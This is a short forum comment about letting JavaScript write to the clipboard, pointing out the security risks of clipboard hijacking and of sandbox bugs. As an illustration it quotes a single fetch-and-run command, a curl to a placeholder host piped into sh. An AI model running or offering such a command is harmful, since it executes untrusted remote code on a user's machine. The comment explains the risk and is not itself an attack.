Thanks for that link, I hit this problem a while ago, a program I wrote generates HTML results where I want to cut & paste sections into another file. I couldn't find a way to do so in javascript previously.

The parent comment has been deleted, so I don't know what privacy problems they are referring to, however there is a potential security issue in allowing javascript write access to the clipboard. e.g. an evil website could repeatedly stuff code into the clipboard, so the next time you paste something into a terminal window, you end up with a 'curl http://www.example.com/hack.sh | sh' command and not the text you expected...

The other concern is bugs in the implementation that injects clipboard access into the JavaScript sandbox. Write-only might be the intent, but this could open up possibilities to gain read access.